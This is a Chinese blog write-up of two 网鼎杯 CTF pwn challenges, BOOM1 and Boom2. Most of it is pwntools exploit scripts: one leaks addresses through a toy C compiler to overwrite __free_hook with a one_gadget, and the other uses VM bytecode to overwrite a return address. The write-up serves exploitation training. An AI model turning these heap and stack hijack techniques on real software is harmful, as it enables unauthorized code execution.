网鼎杯

BOOM1

题目附件

看了大佬博客后,这题我还是没怎么整明白。

看到这么一串东西那这个大概是手动实现了一个简易的C语言编译器。经过多次尝试发现程序没有什么限制。所以我们直接写程序开始利用。

#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
p = process('./pwn')

payload = '''
int main()
{
    int a;
    printf("%p\n", &a);
}
'''

p.sendafter("living...", payload)




p.interactive()

这部分代码可以泄漏变量a的地址,由于a是存放在mmap分配的内存中,所以与libc基址的偏移是固定的,这样可以算出libc基址。(对于具体是那个版本的libc,采用这个方法只能逐个尝试)

拿到libc基址后可以直接得出__free_hook地址,接着向__free_hook中写入one_gadget即可。

#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
context.log_level = 'debug'
p = process('./pwn')

payload = """
main()
{
    int b;
    int libc_base;
    int *free_hook;
    libc_base = (int)&b - 0x51efd8;
    free_hook = libc_base + 0x3c67a8;
    *free_hook = libc_base + 0x4527a;
    free(1);
}
"""

a = [0x45226, 0x4527a, 0xf0364, 0xf1207]
print(payload)
gdb.attach(p)
p.sendafter('living...\n', payload)






p.interactive()

参考博客

Boom2

题目附件

这是一道vm题目。程序一开始分配栈空间和代码码空间,如下:

之后就是一些加减之类的运算,就不分析了。

exp如下(此脚本是在ubuntu18.04上测试的):

#!/usr/bin/python
#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
p = process('./pwn')

one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
payload  = p64(1) + p64(0x2d72e) #把0x2d72e放入v38中
payload += p64(11) #向+3处写入0x2d72e
payload += p64(1) + p64(0xe8) #向v38中写入0xf0
payload += p64(26) #计算出main函数$rbp+0x8的栈地址
payload += p64(13) #向+1出写入$rbp+0x8
payload += p64(9) #取出原return addr
payload += p64(13) #向+0处写入return addr
payload += p64(1) + p64(0x2d7ce) #把0x2d72e放入v38中
payload += p64(25) #计算one_gadget
payload += p64(11) #向$rbp+0x8处写入one_gadget

payload += p64(30)
p.sendlineafter('Input your code> ', payload)


p.interactive()

 

posted @ 2020-09-08 21:55  countfatcode  阅读(310)  评论(0编辑  收藏  举报